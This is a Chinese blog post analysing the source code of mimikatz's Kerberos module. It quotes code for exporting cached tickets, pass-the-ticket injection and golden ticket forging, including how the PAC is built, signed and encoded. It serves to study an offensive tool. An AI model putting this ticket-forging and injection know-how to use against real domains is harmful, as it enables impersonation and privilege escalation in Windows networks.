mimikatz源码学习-Kerberos模块

一颗小胡椒2021-11-15 16:42:10
mimikatz是内网渗透中的一大利器,本文主要讨论学习mimikatz中与Kerberos协议相关的代码

mimikatz的Kerberos模块中常用大概为:

1、 kerberos::list :列出当前的所有票据(当前用户所在session,效果等同于命令klist)

2、kerberos::ptt :Pass The Ticket,即票据传递

3、kerberos::golden :伪造票据,如黄金票据、白银票据

LsaCallKerberosPackage

LsaCallKerberosPackage是ntsecapi.h下的一个API,MSDN对它的描述如下:

The LsaCallAuthenticationPackage function is used by a logon application to communicate with an authentication package.
This function is typically used to access services provided by the authentication package.

大意为这个函数用作登录程序和身份认证包通信,但通常被用来访问身份认证包提供的服务。在mimikatz的源码中列出票据和票据传递两个功能模块都围绕这个函数展开,通过传递不同的参数得到不同的执行结果。

函数原型如下:

NTSTATUS LsaCallAuthenticationPackage(  HANDLE    LsaHandle,   ULONG     AuthenticationPackage, // 提供身份认证的标识符  PVOID     ProtocolSubmitBuffer, // 用于传递给身份验证包的缓冲区  ULONG     SubmitBufferLength,  PVOID     *ProtocolReturnBuffer, // 接收从验证包返回的数据的缓冲区  PULONG    ReturnBufferLength,  PNTSTATUS ProtocolStatus);

列出票据

mimikatz的源码中这个功能对应的代码比较简单,只是调用了LsaCallAuthenticationPackage,然后对返回的数据进行解析:

status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus);  if(NT_SUCCESS(status))  {    if(NT_SUCCESS(packageStatus))    {      for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++)      {        kprintf(L"[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype (pKerbCacheResponse->Tickets[i].EncryptionType));        kprintf(L"   Start/End/MaxRenew: ");        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; ");        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; ");        kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime);        kprintf(L"   Server Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i]. ServerRealm);        kprintf(L"   Client Name       : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i]. ClientRealm);        kprintf(L"   Flags %08x    : ", pKerbCacheResponse->Tickets[i].TicketFlags);        kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags);

注意到,mimikatz使用LsaCallKerberosPackage对LsaCallAuthenticationPackage做了简要封装,实际上省去了前两个参数,前两个参数被当作全局变量在初始化时完成赋值,所以这里我们只需要关注函数执行之后返回的数据,代码中对应为变量pKerbCacheResponse,变量对应的结构体在MSDN中描述如下:

typedef struct _KERB_QUERY_TKT_CACHE_RESPONSE {  KERB_PROTOCOL_MESSAGE_TYPE MessageType;  ULONG                      CountOfTickets;  // 数组Tickets中的票据数量  KERB_TICKET_CACHE_INFO     Tickets[ANYSIZE_ARRAY]; } KERB_QUERY_TKT_CACHE_RESPONSE, *PKERB_QUERY_TKT_CACHE_RESPONSE;

其中,结构体KERB_TICKET_CACHE_INFO描述如下,用来描述缓存的Kerberos票据相关信息:

typedef struct _KERB_TICKET_CACHE_INFO {  UNICODE_STRING ServerName;  UNICODE_STRING RealmName;  LARGE_INTEGER  StartTime;  LARGE_INTEGER  EndTime;  LARGE_INTEGER  RenewTime;  LONG           EncryptionType;  ULONG          TicketFlags;} KERB_TICKET_CACHE_INFO, *PKERB_TICKET_CACHE_INFO;

导出票据时同样是调用这个API,只是这时我们需要关注用于传递请求的参数,即LsaCallAuthenticationPackage的第三个参数ProtocolSubmitBuffer,对应的结构体在MSDN中描述为:

typedef struct _KERB_RETRIEVE_TKT_REQUEST {  KERB_PROTOCOL_MESSAGE_TYPE MessageType;  LUID                       LogonId;  UNICODE_STRING             TargetName; // 目标服务名  ULONG                      TicketFlags; // 用于标记票据用途  ULONG                      CacheOptions; // 搜索缓存的选项,KERB_RETRIEVE_TICKET_AS_KERB_CRED表示以Keberos凭证的形式返回票据  LONG                       EncryptionType;  SecHandle                  CredentialsHandle;} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

对应的,用于接收请求的票据用结构体_KERB_RETRIEVE_TKT_RESPONSE描述,该结构体只包含一个成员结构体KERB_EXTERNAL_TICKET,而这个结构体的成员EncodedTicketSize和EncodedTicket分别为返回的票据大小和票据内容。

其实不难发现,仅需要查询缓存中的票据时,使用结构体KERB_QUERY_TKT_CACHE_REQUEST和KERB_QUERY_TKT_CACHE_RESPONSE并且用于请求的结构体变量置零即可;但是想要获取票据内容时就需要使用结构体KERB_RETRIEVE_TKT_REQUEST和KERB_RETRIEVE_TKT_RESPONSE了,与查询不同,获取票据内容时需要在请求中指明请求的类型(MessageType)、搜索缓存的选项(CacheOptions)、票据标志(TicketFlags)、目标服务名(TargetName)。

不过需要注意的是,结构体成员中UNICODE_STRING对应的是结构体类型,其定义如下:

typedef struct _UNICODE_STRING {  USHORT Length;  USHORT MaximumLength;  PWSTR  Buffer;} UNICODE_STRING, *PUNICODE_STRING;

所以,对TargetName赋值时,需要单独的一块空间存放Buffer对应的值,mimikatz的处理如下:

szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)).........pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);
此处的思路是header+content,这样做可以保证数据在同一块内存中,避免申请多块内存。

至此,其实列出缓存中的票据以及导出票据的分析已经结束,但是我们还忽略了两个参数,即在mimikatz中以全局变量的形式传入的句柄和身份认证包标识。MSDN的句柄LsaHandle的描述为从与调用函数 LsaRegisterLogonProcess 或 LsaConnectUntrusted获得,而身份认证包标识是从函数LsaLookupAuthenticationPackage中获取,mimikatz中的代码也确实如此:

NTSTATUS status = LsaConnectUntrusted(&g_hLSA);  if(NT_SUCCESS(status))  {    status = LsaLookupAuthenticationPackage(g_hLSA, &kerberosPackageName, &g_AuthenticationPackageId_Kerberos);    g_isAuthPackageKerberos = NT_SUCCESS(status);

其中,kerberosPackageName为结构体LSA_STRING类型的变量,赋值为MICROSOFT_KERBEROS_NAME_A,指定为ANSI版本的Kerberos身份认证包名称。

如果要清空缓存,就需要用到结构体_KERB_PURGE_TKT_CACHE_REQUEST了,它描述了想要删除的缓存票据的信息,在MSDN中的定义如下:

typedef struct _KERB_PURGE_TKT_CACHE_REQUEST {  KERB_PROTOCOL_MESSAGE_TYPE MessageType;  LUID                       LogonId;  UNICODE_STRING             ServerName;  UNICODE_STRING             RealmName;} KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST;

其中需要注意的是第一个成员(MessageType),必须设置为KerbPurgeTicketCacheMessage。

票据传递

票据传递部分同样是使用LsaCallAuthenticationPackage,只不过这次使用的结构体是KERB_SUBMIT_TKT_REQUEST,在NTSecAPI.h中对该结构体的定义如下:

typedef struct _KERB_SUBMIT_TKT_REQUEST {    KERB_PROTOCOL_MESSAGE_TYPE MessageType;    LUID LogonId;    ULONG Flags;    KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED    ULONG KerbCredSize;    ULONG KerbCredOffset;} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;

关于这个结构体的描述在MSDN中似乎没有发现,不过根据其他结构体和字段的命名不难猜测相应字段的含义。对比mimikatz源码来看其实只需要设置三部分内容,一是MessageType,这里需要设置为固定内容:KerbSubmitTicketMessage;剩下的两部分内容即票据对应的大小和位置(因为票据数据是追加在结构体后的,所以这里偏移是结构体的大小),设置完之后调用函数LsaCallAuthenticationPackage即可完成票据传递:

submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)){  pKerbSubmit->MessageType = KerbSubmitTicketMessage;  pKerbSubmit->KerbCredSize = dataSize;  pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);  RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize);
  status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);
 

伪造票据

mimikatz中描述票据的结构体定义如下:

typedef struct _KIWI_KERBEROS_TICKET {  PKERB_EXTERNAL_NAME  ServiceName;  LSA_UNICODE_STRING   DomainName;  PKERB_EXTERNAL_NAME  TargetName;  LSA_UNICODE_STRING   TargetDomainName;  PKERB_EXTERNAL_NAME  ClientName;  LSA_UNICODE_STRING   AltTargetDomainName;
  LSA_UNICODE_STRING Description;
  FILETIME StartTime;  FILETIME EndTime;  FILETIME RenewUntil;
  LONG  KeyType;  KIWI_KERBEROS_BUFFER  Key;
  ULONG  TicketFlags;  LONG   TicketEncType;  ULONG  TicketKvno;  KIWI_KERBEROS_BUFFER  Ticket;} KIWI_KERBEROS_TICKET, *PKIWI_KERBEROS_TICKET;

从结构体定义其实可以看出ticket所包含的内容,在Kerberos认证中,以AS-REP为例,我们知道AS返回给用户两部分内容: 一是TGT,二是使用用户密码hash加密的session key。其中,TGT包含了session key(登录会话密匙)、失效时间以及pac信息(特权属性证书)等内容,不过在mimikatz中pac信息是单独生成的,所以上述的结构体定义中并不包含这部分内容。

从生成票据的代码流程来看,生成TGT和TGS的代码基本一致,最后会生成哪种票据取决于传递的参数,比如TGT需要krbtgt的哈希而TGS需要请求的服务。代码中生成票据的代码主要是函数kuhl_m_kerberos_golden_data,首先根据传入的参数完成上述定义的ticket结构体的初始化,然后根据是否传入sid来决定是否生成签名的pac:

if(sid) // we want a PAC !{  if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids))  {    if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize))    {      kprintf(L" * PAC generated");      status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize);      if(NT_SUCCESS(status))        kprintf(L" * PAC signed");    }  }}

随后就是生成对应的ticket,详细来讲就是先按照固定格式生成要加密的内容,然后对这部分内容加密,最后返回加密的结果。对于加密部分,围绕一个重要函数:CDLocateCSystem,他第二个参数传入的是结构体,这个结构体包含了指向加解密函数的指针等信息,定义如下:

typedef struct _KERB_ECRYPT {  ULONG EncryptionType;  ULONG BlockSize;  ULONG ExportableEncryptionType;  ULONG KeySize;  ULONG HeaderSize;  ULONG PreferredCheckSum;  ULONG Attributes;  PCWSTR Name;  PKERB_ECRYPT_INITIALIZE Initialize;  PKERB_ECRYPT_ENCRYPT Encrypt;  PKERB_ECRYPT_DECRYPT Decrypt;  PKERB_ECRYPT_FINISH Finish;  union {    PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;    PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;  };  PKERB_ECRYPT_RANDOMKEY RandomKey;  PKERB_ECRYPT_CONTROL Control;  PVOID unk0_null;  PVOID unk1_null;  PVOID unk2_null;} KERB_ECRYPT, *PKERB_ECRYPT;

CDLocateCSystem是Windows的一个API,位于cryptdll.dll,但粗略的搜索了一下并没有相关说明,似乎微软并未公开它,不过根据上述结构体以及dll文件,可以大概分析猜测这个api的作用。cryptdll.dll这个文件的导出函数并不多,而且可以大概猜测函数可能的功能:

导入上述定义的结构体,查看CDLocateCSystem对应的伪代码,发现这个函数其实就是通过传入的type从链表中寻找对应的块:

再接着跟一下变量cCSystems, 可以发现只有以后函数对这个变量有赋值操作,跟到函数CDRegisterCSystem,发现这个函数实际上是通过传入的参数对变量赋值:

再看这个函数的调用处,发现注册了一系列的密码算法:

继续分析可以发现LibAttach在DllMain中被调用,也就是说这个dll文件一被加载,就会注册各种密码学算法,供相关API使用,所以代码中调用CDLocateCSystem的目的是根据传入的eType获取一个用于eType对应类型的密码算法的实现,进而完成相应的加密或解密操作。根据结构体的成员定义以及mimikatz中相关的加密代码,可以猜测cryptdll中注册的密码学算法,使用方法基本一致,主要有一下流程:

  1. 通过CDLocateCSystem获取对应的结构体数据。
  2. 初始化操作(包括设置密钥、加解密数据大小等)。
  3. 加解密操作。
  4. 销毁相关环境。

回到正题,生成加密的ticket信息后,“格式化”票据信息生成票据,然后将票据写入缓存或者文件。

整个票据的生成流程大致如上所述,不过整个过程忽略了两个地方:一是PAC是如何生成的;二是加密票据前后调用的两个函数kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred。

PAC生成流程

PAC生成大体上分三个部分,也分别对应三个函数:

1、生成验证信息:kuhl_m_pac_infoToValidationInfo

2、生成PAC:kuhl_m_pac_validationInfo_to_PAC

3、PAC签名:kuhl_m_pac_signature

对于第一部分,可以透过结构体PKERB_VALIDATION_INFO来分析生成验证信息需要的内容,结构体的定义如下:

typedef struct _KERB_VALIDATION_INFO {  FILETIME LogonTime;  FILETIME LogoffTime;  FILETIME KickOffTime;  FILETIME PasswordLastSet;  FILETIME PasswordCanChange;  FILETIME PasswordMustChange;  RPC_UNICODE_STRING EffectiveName;  RPC_UNICODE_STRING FullName;  RPC_UNICODE_STRING LogonScript;  RPC_UNICODE_STRING ProfilePath;  RPC_UNICODE_STRING HomeDirectory;  RPC_UNICODE_STRING HomeDirectoryDrive;  USHORT LogonCount;  USHORT BadPasswordCount;  ULONG UserId;  ULONG PrimaryGroupId;  ULONG GroupCount;  /* [size_is] */ PGROUP_MEMBERSHIP GroupIds;  ULONG UserFlags;  USER_SESSION_KEY UserSessionKey;  RPC_UNICODE_STRING LogonServer;  RPC_UNICODE_STRING LogonDomainName;  PISID LogonDomainId;  ULONG Reserved1[ 2 ];  ULONG UserAccountControl;  ULONG SubAuthStatus;  FILETIME LastSuccessfulILogon;  FILETIME LastFailedILogon;  ULONG FailedILogonCount;  ULONG Reserved3;  ULONG SidCount;  /* [size_is] */ PKERB_SID_AND_ATTRIBUTES ExtraSids;  PISID ResourceGroupDomainSid;  ULONG ResourceGroupCount;  /* [size_is] */ PGROUP_MEMBERSHIP ResourceGroupIds;} KERB_VALIDATION_INFO, *PKERB_VALIDATION_INFO;

关于结构体中的几个和时间相关的成员,其实只需要关注LogonTime,它由传入的结构体变量lifeTimeData中的TicketStart成员赋值,后者的数据内容通过GetSystemTimeAsFileTime获得,这个msdn对这个API的解释为:获取当前系统的时间。当然,最后赋值给LogonTime的值是处理之后的值。而对于剩余的和时间相关的成员,统一赋值为0x7fffffffffffffffll。

GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);*(PULONGLONG) &lifeTimeData.TicketStart -= *(PULONGLONG) &lifeTimeData.TicketStart % 10000000 - ((LONGLONG) wcstol(szLifetime, NULL, 0) * 10000000 * 60);

此外,UserId、GroupIds、GroupCount等成员实际上是从命令行参数获得,但通常情况下生成票据我们似乎并没有用到这些参数,所以传入的值实际上是NULL。

获取到验证信息之后,就根据这些信息生成APC,PAC的总体结构如下:

关于PAC结构的代码如下:

(*pacType)->cBuffers = n;(*pacType)->Version = 0;
(*pacType)->Buffers[0].cbBufferSize = szLogonInfo;(*pacType)->Buffers[0].ulType = PACINFO_TYPE_LOGON_INFO;(*pacType)->Buffers[0].Offset = offsetData;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[0].Offset, pLogonInfo, (*pacType)->Buffers[0].cbBufferSize);
(*pacType)->Buffers[1].cbBufferSize = szClientInfo;(*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize);
if(szClaimsAligned){  (*pacType)->Buffers[2].cbBufferSize = szClaims;  (*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS;  (*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;  RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);}
(*pacType)->Buffers[n - 2].cbBufferSize = szSignature;(*pacType)->Buffers[n - 2].ulType = PACINFO_TYPE_CHECKSUM_SRV;(*pacType)->Buffers[n - 2].Offset = (*pacType)->Buffers[n - 3].Offset + SIZE_ALIGN((*pacType)->Buffers[n - 3].cbBufferSize, 8);RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 2].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));
(*pacType)->Buffers[n - 1].cbBufferSize = szSignature;(*pacType)->Buffers[n - 1].ulType = PACINFO_TYPE_CHECKSUM_KDC;(*pacType)->Buffers[n - 1].Offset = (*pacType)->Buffers[n - 2].Offset + szSignatureAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 1].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));

其中,第一部分(pLogonInfo)即对kuhl_m_pac_infoToValidationInfo的结果进行加密操作后的内容,这里加密实际上是调用的kull_m_rpc_Generic_Encode,不过实际上最后的加密调用了NdrMesTypeEncode2,它是midles.h下的一个函数。

关于客户端信息(ClientInfo),首先需要明确的是这部分内容是明文信息,主要内容为用户名。Cliams其实也是加密的数据,是否包含这部分内容取决于是否传入参数Claims,显然通常情况下我们并没有传入这一项,所以这里不再继续跟进。

至此,PAC的主体已经说明结束,剩余两部分保存的是主体部分的校验和。计算校验和使用的是CDLocateCheckSum,这个API来自cryptdll.dll,用法和CDLocateCSystem类似。

两个函数

其实kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred都是围绕两个结构体展开的即:

typedef struct berElement {  UNICODE PTCHAR opaque; } BerElement;
typedef struct berval {  ULONG bv_len;  UNICODE PTCHAR bv_val;} LDAP_BERVAL, *PLDAP_BERVAL, BERVAL, *PBERVAL;

涉及到这两个结构体的函数位于winber.h,不过对于前面提到的两个函数,我们们只需要关注两个函数:

1、ber_printf,顾名思义,其实就是用来格式化数据的,mimikatz中的kull_m_asn1_GenTime其实也是对该函数的封装

2、ber_flatten,MSDN的解释是从BerElement结构中获取数据保存到一个berval结构中,换句话说其实也就是对数据的进一步“格式化”

关于头文件winber.h,其实MSDN上也说明了是用于LDAP的,因为AD域是基于LDAP的,所以这里对数据的一些“格式化”操作也是事出有因。
此外,使用这个头文件时还需引入windows.h和winldap.h,并且添加依赖项:wldap32.lib(#pragma comment(lib,"wldap32.lib"))

当然,分析这两个函数的主要目的并不它实现了什么样的功能,而是透过这个功能(对数据“格式化”)得知票据的加密部分的内容构成,以及最后得到的票据内容构成。

首先看加密部分的内容构成,其实从函数传入的参数来看,这部分应该包含了整个票据的所有信息,因为函数kuhl_m_kerberos_ticket_createAppEncTicketPart获取的参数是记录票据信息的结构体数据和pac信息,查看函数的实现部分其实和猜想大差不差:按照固定的顺序将域名、用户名、生成/失效时间等信息通过ber_printf写入到BerElement类型的变量随后通过ber_flatten得到最终需要加密的数据格式(存储到结构体berval类型的变量中),并返回给调用者。

透过mimikatz的代码,其实可以看出要加密的内容大体的格式:

ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName);ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));kull_m_asn1_GenTime(pBer, &ticket->EndTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));kull_m_asn1_GenTime(pBer, &ticket->RenewUntil);ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */if(PacAuthData && PacAuthDataSize){  ber_printf(pBer, "t{{{t{i}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA), MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_IF_RELEVANT, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA));  if(pBerPac = ber_alloc_t(LBER_USE_DER))  {    ber_printf(pBerPac, "{{t{i}t{o}}}", MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_WIN2K_PAC, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA), PacAuthData, PacAuthDataSize);    if(ber_flatten(pBerPac, &pBerValPac) >= 0)      ber_printf(pBer, "o", pBerValPac->bv_val, pBerValPac->bv_len);    ber_free(pBerPac, 1);  }  ber_printf(pBer, "}}}}");}ber_printf(pBer, "}}");
这里值得注意的是PAC信息是作为一个可选项加入到要加密内容的尾部的,而是否包含PAC信息取决于生成票据时是否传入SID。对于最后载入缓存或写入文件的内容,即kuhl_m_kerberos_ticket_createAppKrbCred的返回值也是通过同样的形式构造数据,最后调用ber_flatten生成berval结构的数据。
函数调用结构体类型
本作品采用《CC 协议》,转载必须注明作者和本文链接
源码分析1、LLVM编译器简介LLVM 命名最早源自于底层虚拟机的缩写,由于命名带来的混乱,LLVM就是该项目的全称。LLVM 核心库提供了与编译器相关的支持,可以作为多种语言编译器的后台来使用。自那时以来,已经成长为LLVM的主干项目,由不同的子项目组成,其中许多是正在生产中使用的各种 商业和开源的项目,以及被广泛用于学术研究。
Win32k组件最初的设计和编写是完全建立的用户层上的,但是微软在 Windows NT 4.0 的改变中将 Win32k.sys 作为改变的一部分而引入,用以提升图形绘制性能并减少 Windows 应用程序的内存需求。窗口管理器(User)和图形设备接口(GDI)在极大程度上被移出客户端/服务端运行时子系统(CSRSS)并被落实在它自身的一个内核模块中。
Go:Channel使用模式
2022-07-20 11:05:42
有几种重要的channel模式需要理解,因为channel实现了Goroutine之间的通信。等待结果模式这是channel的基本使用模式,创建一个goroutine来执行任务,然后将执行结果通过channel通知到对应的其他Goroutine。
概述在windows系统上,涉及到内核对象的功能函数,都需要从应用层权限转换到内核层权限,然后再执行想要的内核函数,最终将函数结果返回给应用层。本文就是用OpenProcess函数来观察函数从应用层到内核层的整体调用流程。OpenProcess函数,根据指定的进程ID,返回进程句柄。NTSTATUS Status; //保存函数执行状态。OBJECT_ATTRIBUTES Obja; //待打开对象的对象属性。HANDLE Handle; //存储打开的句柄。CLIENT_ID ClientId; //进程、线程ID. dwDesiredAccess, //预打开进程并获取对应的权限。ObjectNamePresent = ARGUMENT_PRESENT ; //判断对象名称是否为空
从补丁可以认识一个漏洞的触发源。 查看github中的补丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
作为一只网安新人小白,在RCE方向上的求知经高人指点落脚在了Struts2上。
target_func: sark.Function 类型,表示要查找交叉引用关系的目标函数对象。max_depth: int 类型,表示查找引用关系的最大深度。② 然后根据 include_data_xref 的设置,获取该函数中所有的引用 refes。③ 遍历函数的所有引用 ref,如果该引用 ref 指向目标函数,则在有向图 G 中通过 add_edge 函数添加一条从当前函数到目标函数的边,并返回 True。④ 如果引用指向另一个函数,则递归调用 find_cross_refs 函数查找两个函数之间的交叉引用关系。⑤ 如果所有引用遍历完,仍然没有找到交叉引用,则返回 False。
在当前CTF比赛中,“伪造IO_FILE”是pwn题里一种常见的利用方式,并且有时难度还不小。
通过使用根据给定语法执行突变的库来启用结构感知模糊测试,进而达成更细致化模糊数据处理的第三方组件,一般由模糊测试人员自己开发编写。对于xml等固定文件格式的testcase时就需要编写mutator进行精细化fuzzing。总的来说是调用了lxml来编写xml型的mutator:from?
在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。在函数返回之前,系统将执行一个额外的安全验证操作,被称做 Security check。
一颗小胡椒
暂无描述